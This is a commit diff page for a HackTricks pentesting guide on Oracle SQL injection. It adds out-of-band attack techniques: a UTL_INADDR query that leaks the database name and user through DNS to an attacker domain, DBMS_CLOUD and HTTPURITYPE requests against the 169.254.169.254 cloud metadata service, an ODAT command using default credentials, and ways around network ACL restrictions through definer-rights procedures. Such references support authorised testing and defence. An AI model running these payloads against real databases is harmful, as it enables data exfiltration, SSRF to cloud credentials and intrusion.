Skip to content

Commit eaa7e4c

Browse files
authored
Merge pull request #1242 from HackTricks-wiki/research_update_src_pentesting-web_sql-injection_oracle-injection_20250805_162114
Research Update Enhanced src/pentesting-web/sql-injection/or...
2 parents 38dcb79 + cc71a57 commit eaa7e4c

File tree

1 file changed

+92
-2
lines changed

1 file changed

+92
-2
lines changed

src/pentesting-web/sql-injection/oracle-injection.md

Lines changed: 92 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -156,9 +156,99 @@ select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
156156

157157
A `ORA-12541: TNS:no listener` or a `TNS:operation timed out` is a sign that the TCP port is closed, whereas a `ORA-29263: HTTP protocol error` or data is a sign that the port is open.
158158

159-
Another package I have used in the past with varied success is the [`GETCLOB()` method of the `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) that allows you to interact with a URL and provides support for the HTTP protocol. The `GETCLOB()` method is used to fetch the GET response from a URL as a [CLOB data type.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
159+
Another package I have used in the past with varied success is the [`GETCLOB()` method of the `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) that allows you to interact with a URL and provides support for the HTTP protocol. The `GETCLOB()` method is used to fetch the GET response from a URL as a [CLOB data type.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)
160160

161-
{{#include ../../banners/hacktricks-training.md}}
161+
```
162+
SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;
163+
```
164+
165+
---
166+
167+
## Additional Packages & Techniques (Oracle 19c → 23c)
168+
169+
### UTL_INADDR – DNS-based exfiltration and host discovery
170+
171+
`UTL_INADDR` exposes simple name-resolution helpers that trigger an outbound DNS lookup from the database host. Because only a domain is required (no port/ACL needed) it is a reliable primitive for blind-exfil when other network callouts are blocked.
172+
173+
```sql
174+
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
175+
SELECT UTL_INADDR.get_host_address(
176+
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
177+
'.attacker.oob.server') FROM dual;
178+
```
179+
180+
`get_host_address()` returns the resolved IP (or raises `ORA-29257` if resolution fails). The attacker only needs to watch for the incoming DNS request on the controlled domain to confirm code execution.
181+
182+
### DBMS_CLOUD.SEND_REQUEST – full HTTP client on Autonomous/23c
183+
184+
Recent cloud-centric editions (Autonomous Database, 21c/23c, 23ai) ship with `DBMS_CLOUD`. The `SEND_REQUEST` function acts as a general-purpose HTTP client that supports custom verbs, headers, TLS and large bodies, making it far more powerful than the classical `UTL_HTTP`.
185+
186+
```sql
187+
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
188+
BEGIN
189+
-- empty credential when no auth is required
190+
DBMS_CLOUD.create_credential(
191+
credential_name => 'NOAUTH',
192+
username => 'ignored',
193+
password => 'ignored');
194+
END;
195+
/
196+
197+
DECLARE
198+
resp DBMS_CLOUD_TYPES.resp;
199+
BEGIN
200+
resp := DBMS_CLOUD.send_request(
201+
credential_name => 'NOAUTH',
202+
uri => 'http://169.254.169.254/latest/meta-data/',
203+
method => 'GET',
204+
timeout => 3);
205+
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
206+
END;
207+
/
208+
```
209+
210+
Because `SEND_REQUEST` allows arbitrary target URIs it can be abused via SQLi for:
211+
1. Internal port scanning / SSRF to cloud metadata services.
212+
2. Out-of-band exfiltration over HTTPS (use Burp Collaborator or an `ngrok` tunnel).
213+
3. Callbacks to attacker servers even when older callout packages are disabled by ACLs.
214+
215+
ℹ️ If you only have a classical on-prem 19c but can create Java stored procedures, you can sometimes install `DBMS_CLOUD` from the OCI client bundle — useful in some engagements.
216+
217+
### Automating the attack surface with **ODAT**
218+
219+
[ODAT – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) has kept pace with modern releases (tested up to 19c, 5.1.1 – Apr-2022). The `–utl_http`, `–utl_tcp`, `–httpuritype` and newer `–dbms_cloud` modules automatically:
220+
* Detect usable callout packages/ACL grants.
221+
* Trigger DNS & HTTP callbacks for blind extraction.
222+
* Generate ready-to-copy SQL payloads for Burp/SQLMap.
223+
224+
Example: quick OOB check with default creds (takes care of ACL enumeration in the background):
225+
226+
```bash
227+
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob
228+
```
229+
230+
### Recent network ACL restrictions & bypasses
231+
232+
Oracle tightened default Network ACLs in the July 2023 CPU — unprivileged accounts now receive `ORA-24247: network access denied by access control list` by default. Two patterns still allow callouts through SQLi:
233+
1. Target account owns an ACL entry (`DBMS_NETWORK_ACL_ADMIN.create_acl`) that was added by a developer for integrations.
234+
2. The attacker abuses a high-privilege PL/SQL definer-rights routine (e.g. in a custom application) that *already* has `AUTHID DEFINER` and the necessary grants.
162235

236+
If you encounter `ORA-24247` during exploitation always search for reusable procedures:
237+
238+
```sql
239+
SELECT owner, object_name
240+
FROM dba_objects
241+
WHERE object_type = 'PROCEDURE'
242+
AND authid = 'DEFINER';
243+
```
163244

245+
(in many audits at least one reporting/export procedure had the needed rights).
164246

247+
---
248+
249+
## References
250+
251+
* Oracle Docs – `DBMS_CLOUD.SEND_REQUEST` package description and examples.
252+
* quentinhardy/odat – Oracle Database Attacking Tool (latest release 5.1.1, Apr-2022).
253+
254+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)